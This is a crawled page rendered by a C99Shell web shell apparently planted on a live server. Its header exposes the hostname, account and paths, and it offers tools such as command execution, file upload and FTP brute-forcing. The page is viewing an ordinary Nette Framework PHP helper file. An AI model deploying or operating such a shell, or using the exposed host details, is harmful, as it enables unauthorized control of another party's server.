!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/nette/schema/src/Schema/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Helpers.php (4.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of the Nette Framework (https://nette.org)
 * Copyright (c) 2004 David Grudl (https://davidgrudl.com)
 */

declare(strict_types=1);

namespace 
Nette\Schema;

use 
Nette;
use 
Nette\Utils\Reflection;


/**
 * @internal
 */
final class Helpers
{
    use 
Nette\StaticClass;

    public const 
PreventMerging '_prevent_merging';


    
/**
     * Merges dataset. Left has higher priority than right one.
     */
    
public static function merge(mixed $valuemixed $base): mixed
    
{
        if (
is_array($value) && isset($value[self::PreventMerging])) {
            unset(
$value[self::PreventMerging]);
            return 
$value;
        }

        if (
is_array($value) && is_array($base)) {
            
$index 0;
            foreach (
$value as $key => $val) {
                if (
$key === $index) {
                    
$base[] = $val;
                    
$index++;
                } else {
                    
$base[$key] = static::merge($val$base[$key] ?? null);
                }
            }

            return 
$base;

        } elseif (
$value === null && is_array($base)) {
            return 
$base;

        } else {
            return 
$value;
        }
    }


    public static function 
getPropertyType(\ReflectionProperty|\ReflectionParameter $prop): ?string
    
{
        if (
$type Nette\Utils\Type::fromReflection($prop)) {
            return (string) 
$type;
        } elseif (
            (
$prop instanceof \ReflectionProperty)
            && (
$type preg_replace('#\s.*#''', (string) self::parseAnnotation($prop'var')))
        ) {
            
$class Reflection::getPropertyDeclaringClass($prop);
            return 
preg_replace_callback('#[\w\\\\]+#', fn($m) => Reflection::expandClassName($m[0], $class), $type);
        }

        return 
null;
    }


    
/**
     * Returns an annotation value.
     * @param  \ReflectionProperty  $ref
     */
    
public static function parseAnnotation(\Reflector $refstring $name): ?string
    
{
        if (!
Reflection::areCommentsAvailable()) {
            throw new 
Nette\InvalidStateException('You have to enable phpDoc comments in opcode cache.');
        }

        
$re '#[\s*]@' preg_quote($name'#') . '(?=\s|$)(?:[ \t]+([^@\s]\S*))?#';
        if (
$ref->getDocComment() && preg_match($retrim($ref->getDocComment(), '/*'), $m)) {
            return 
$m[1] ?? '';
        }

        return 
null;
    }


    public static function 
formatValue(mixed $value): string
    
{
        if (
$value instanceof DynamicParameter) {
            return 
'dynamic';
        } elseif (
is_object($value)) {
            return 
'object ' $value::class;
        } elseif (
is_string($value)) {
            return 
"'" Nette\Utils\Strings::truncate($value15'...') . "'";
        } elseif (
is_scalar($value)) {
            return 
var_export($value, return: true);
        } else {
            return 
get_debug_type($value);
        }
    }


    public static function 
validateType(mixed $valuestring $expectedContext $context): void
    
{
        if (!
Nette\Utils\Validators::is($value$expected)) {
            
$expected str_replace(DynamicParameter::class . '|'''$expected);
            
$expected str_replace(['|'':'], [' or '' in range '], $expected);
            
$context->addError(
                
'The %label% %path% expects to be %expected%, %value% given.',
                
Message::TypeMismatch,
                [
'value' => $value'expected' => $expected],
            );
        }
    }


    public static function 
validateRange(mixed $value, array $rangeContext $contextstring $types ''): void
    
{
        if (
is_array($value) || is_string($value)) {
            [
$length$label] = is_array($value)
                ? [
count($value), 'items']
                : (
in_array('unicode'explode('|'$types), true)
                    ? [
Nette\Utils\Strings::length($value), 'characters']
                    : [
strlen($value), 'bytes']);

            if (!
self::isInRange($length$range)) {
                
$context->addError(
                    
"The length of %label% %path% expects to be in range %expected%, %length% $label given.",
                    
Message::LengthOutOfRange,
                    [
'value' => $value'length' => $length'expected' => implode('..'$range)],
                );
            }
        } elseif ((
is_int($value) || is_float($value)) && !self::isInRange($value$range)) {
            
$context->addError(
                
'The %label% %path% expects to be in range %expected%, %value% given.',
                
Message::ValueOutOfRange,
                [
'value' => $value'expected' => implode('..'$range)],
            );
        }
    }


    public static function 
isInRange(mixed $value, array $range): bool
    
{
        return (
$range[0] === null || $value >= $range[0])
            && (
$range[1] === null || $value <= $range[1]);
    }


    public static function 
validatePattern(string $valuestring $patternContext $context): void
    
{
        if (!
preg_match("\x01^(?:$pattern)$\x01Du"$value)) {
            
$context->addError(
                
"The %label% %path% expects to match pattern '%pattern%', %value% given.",
                
Message::PatternMismatch,
                [
'value' => $value'pattern' => $pattern],
            );
        }
    }


    public static function 
getCastStrategy(string $type): \Closure
    
{
        if (
Nette\Utils\Reflection::isBuiltinType($type)) {
            return static function (
$value) use ($type) {
                
settype($value$type);
                return 
$value;
            };
        } elseif (
method_exists($type'__construct')) {
            return static fn(
$value) => is_array($value) || $value instanceof \stdClass
                
? new $type(...(array) $value)
                : new 
$type($value);
        } else {
            return static fn(
$value) => Nette\Utils\Arrays::toObject((array) $value, new $type);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--